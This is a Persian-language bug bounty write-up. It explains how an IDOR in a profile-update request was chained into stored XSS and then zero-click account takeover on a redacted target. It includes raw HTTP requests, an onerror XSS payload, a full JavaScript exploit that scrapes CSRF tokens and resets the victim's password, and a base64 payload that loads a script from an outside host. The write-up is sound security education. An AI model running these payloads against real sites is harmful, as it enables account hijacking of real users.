نگاره‌هایی پیرامون امنیت، شبکه و رمزنگاری

08 ژوئن 2022

سلام دوستان، آرمان هستم و قراره توی این رایت‌آپ روی مبحث Privilege Escalate صحبت کنیم و ببینیم چجوری میشه Impact یک IDOR ساده رو تا P1 و Zero Click بالا برد. فلو گزارش به این صورت که از IDOR به Stored XSS میرسیم و باهاش Token Protection سایت رو دور بزنیم تا به Acount Takeover برسیم.

برگ برنده اول من توی این بازی ریکان بودش که بهم یک دامین تازه Acquire شده توسط والمارت رو داد. البته یک مشکلی که این وسط بود، زمانی که من شروع به هانت کردم روی سایت تمام گزارش‌هام N/A رد شد و دلیلش این بود که شرکت توی پنتست داخلی هست و هنوز توی اسکوپ نیومده. پس وارد فاز دوم یعنی تعامل برقرار کردن با تیم داخلی شدم، ازشون خواستم که گزارش های من رو نگه دارن تا بعدا که وارد اسکوپ شد اول بررسی شه و اونا هم قبول کردن. 


حالا میرسیم به بخش اکسپلویت آسیب‌پذیری که از دو مرحله تشکیل میشه:

بخش اول IDOR هست که اگر بخوام رو راست باشم ساده‌ترین حالت IDOR توی درخواست Update پروفایل با پارامتر [data[User][id] بود که اگر مقدارش رو به حساب قربانی عوض میکردی، تغییرات روی حساب قربانی انجام میشد که از جمله این تغییرات اسم و یوزر و عکس پروفایل بود که خوب بود ولی کافی نبود.

برای Privilege Escalate کردن نیاز داشتم که یک آسیب‌پذیری دیگه‌ای رو هم باهاش ترکیب کنم تا Impact کار رو ببرم بالا. پس توی پارامترهای ارسالی شروع کردم فاز تا بتونم ایمیل یا پسورد اپدیت کنم اما دستم توی پوست گردو موند. یه چیزی توجه منو توی درخواست ارسالی جلب کرد و اون هم سورس عکس پروفایل بودش که در قالب لینک ارسال میشد.

POST /users/update_my_profile HTTP/1.1
Host: www.target.com
...

_method=POST&data[_Token][key]=6e8b90f4e7d7c694735d4f1c83db5968bf295f26&data[User][id]=808265&data[User][photo]=https://s3-us-west-2.amazonaws.com/target/f8af317f151f1da46e83cd7f756c5a75.png&data[User][photo_old]=&data[User][name]=Arman.Security&data[User][gender]=m&data[date][day]=&data[date][month]=&data[date][year]=&data[User][mobile_number]=&data[_Token][fields]=fa628e2b05473ddd3cbbee31d2d9c311eba4c9d5%3A&data[_Token][unlocked]=

لینک ارسال شده توی سورس اصلی سایت در قالب SRC تگ IMG قرار می‌گرفت. پس رفتم سراغ XSS که ببینم میشه برک پوینت کرد یا نه؟

توی تست‌هایی که انجام دادم متوجه شدم که میشه از SRC رو بریک کرد ولی نمیشه از تگ خارج شد و تگ جدید باز کرد. پس با شرایط کنار اومدم شروع کردم به اکسپلویت اولیه و تونسم با Event Handler Onerror بیام و یک Alert خوشگل بندازم توی صفحه.

POST /users/update_my_profile HTTP/1.1
Host: www.target.com
...

_method=POST&data[_Token][key]=6e8b90f4e7d7c694735d4f1c83db5968bf295f26&data[User][id]=808265&data[User][photo]=https://s3-us-west-2.amazonaws.com/target/nonexistent.png"+onerror=alert(origin)&data[User][photo_old]=&data[User][name]=Arman.Security&data[User][gender]=m&data[date][day]=&data[date][month]=&data[date][year]=&data[User][mobile_number]=&data[_Token][fields]=fa628e2b05473ddd3cbbee31d2d9c311eba4c9d5%3A&data[_Token][unlocked]=

خب تا اینجا اومدیم  IDOR رو به Stored XSS توی پروفایل کاربر ارتقاء دادیم. حالا وقت گزارشه!؟ نه دیگ تازه دستمون  باز شده حالا وقتشه سناریو رو جذاب ترش کنیم.

سایت رو بیاییم یکم بهتر بشناسیم:

  • کوکی بیس کار میکنه.
  • دوتا توکن اصلی داره توی درخواست ها که یکی ثابت هستش و اون یکی توی هر فرم متفاوته.
  • توی بخش اپدیت پسورد، پسورد فعلی کاربر رو نخونده و میگه جدیده رو وارد کن.

درسته دوستان، اینجاس که شیطان وارد جلد ما میشه و میگه بیا تایتل گزارش رو بزاریم Zero Click to Account Takeover و حالا وقت وقت JS بازی هستش.

سناریو اینجوری بود که باید به یک اندپوینت از سایت که توکن‌ها داخلش هست درخواست بزنی و لیست کنی جفت توکن هارو، یکی از توکن‌ها که ثابت هستش، کاری باهاش نداریم و میره توی درخواست ولی باید حواسمون باشه که باید روش تابع encodeURIComponent پیاده کنیم، دومی یک لیست یازده تایی هستش که باید بروت فورس بشه روی درخواست آپدیت پسورد تا زمانی که توکن درست قرار گرفت برای ما پسورد رو اپدیت کنه.

براتون یک ویو کلی از کد اکسپلویتش میزارم که فقط خدا میدونه چه پیری در آورد ازم وگرنه توی یک نگاه ساده بنظر میاد:)

url = "https://www.target.com/editar-mi-contrasena";
var token_keys_array = [];
var token_fields_array = [];
var params = [];
var body = "";
var xhr = new XMLHttpRequest();
xhr.responseType = "document";
xhr.open("GET", url, true);
xhr.withCredentials = true;

var xmlHttpRequest2 = new XMLHttpRequest();  
xmlHttpRequest2.open("POST", "https://www.target.com/editar-mi-contrasena", true);  
xmlHttpRequest2.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8");
xmlHttpRequest2.setRequestHeader("Referer", "https://www.target.com/editar-mi-contrasena");
xmlHttpRequest2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xmlHttpRequest2.setRequestHeader("Upgrade-Insecure-Requests", "1");
xmlHttpRequest2.setRequestHeader("Sec-Fetch-Mode", "navigate");
xmlHttpRequest2.setRequestHeader("Sec-Fetch-Dest", "document");
xmlHttpRequest2.setRequestHeader("Sec-Fetch-User", "?1");
xmlHttpRequest2.withCredentials = true;
xmlHttpRequest2.onreadystatechange = function () {  
    if (this.readyState == 4 && this.status == 302) {  
        print("response=" + this.responseText);  
        print("done"); 
    };
};  


xhr.onreadystatechange = function() {
if (xhr.readyState == 4){
    xhr.response.querySelectorAll("input[name='data[_Token][key]']").forEach( input => {
    token_keys_array.push(input.value)
 });

    xhr.response.querySelectorAll("input[name='data[_Token][fields]']").forEach( input => {
    token_fields_array.push(input.value)
 });
    for (let b = 0; b < token_fields_array.length; b++) {
        if (b == 2){
            body = "_method=POST&data%5B_Token%5D%5Bkey%5D="+token_keys_array[0]+"&data%5BUser%5D%5Bpassword%5D=EvilOrAngel&data%5BUser%5D%5Bpassword_confirmation%5D=EvilOrAngel&data%5B_Token%5D%5Bfields%5D="+encodeURIComponent(token_fields_array[b])+"&data%5B_Token%5D%5Bunlocked%5D=";
            xmlHttpRequest2.send(body);
        };
    };
    
    };
};
xhr.send();

پیلود رو به صورت Base64 در میاریم و میزاریمش توی id و با onerror=eval(atob(this.id)) اجراش میکنیم، یجورایی مثل پیلود های XSSHunter.

"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHNzaHVudGVyLnhzcy5odCI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs= onerror=eval(atob(this.id))>

حالا با کمک IDOR و ترکیبش با XSS موفق شدیم اون تایتلی که دوست داریم رو بزاریم روی گزارش.


من به شخصی چندباری که Duplicate خوردم و گزارش طرف مقابل رو خوندم دیدم که توی ساده‌ترین حالت ممکن اکسپلویت کرده و گاها باگی که میشه Privilege Escalate شه به P1 بخاطر Exploit ضعیفی که روش شده با Information بسته شده. جای اینکه باگ رو سریع گزارش کنید دنبال راهی بگردین که بشه Impact رو برد بالا و لذت ببرین وقتی خودتون گزارش رو میخونید. خیلی ممنون منو تا اینجا همراهی کردین.

اگر دوست داشتید میتونید سوشال های من رو از طریق لینک های زیر دنبال کنید.

https://www.instagram.com/arman.security
https://twitter.com/ArmanSecurity

3 پست نوشته شده
چالش پذیرم و از یک نواختی بیزارم٬ هیجان و صفر و یک رو دوست دارم پس بهترین گزینه روی میز امنیت بودش. روزم رو بین کار و زندگی شخصیم تقسیم کردم. کارم همون سرگرمیم هستش. این جاده ته نداره پس از جاده لذت ببر نه فقط فکر مقصد باش.
  • به اشتراک بگذارید:
  1. r گفت:

    عالی بود

  2. sia گفت:

    درود دوست عزیز
    مطلبی خوب و آموزنده بود
    فقط خواستم یە نکتە ای رو خدمتون عرض کە “آسیب‌پذیری Escalate” بە خودی خود ترکیب درستی نیست، منظور شما از Escalate طبیعتا privilege escalation بوده
    که این در اصل یه روش و تکنیکه نه آسیب پذیری ،
    ارتقاء دسترسی با هر باگی ممکنه که در مثال تو با xss بوده و از نوع افقیش(همون دسترسی به اکانت دیگر کاربرا با سطح دسترسی مشابه)

    • M7.Arman گفت:

      بله نظرتون درسته، من تحت الفظی نوشته بودم که باعث همچین اشتباهی شد.
      متن اصلاح شد، ممنون بابت نظر خوبتون ۳>

دیدگاه شما در مورد r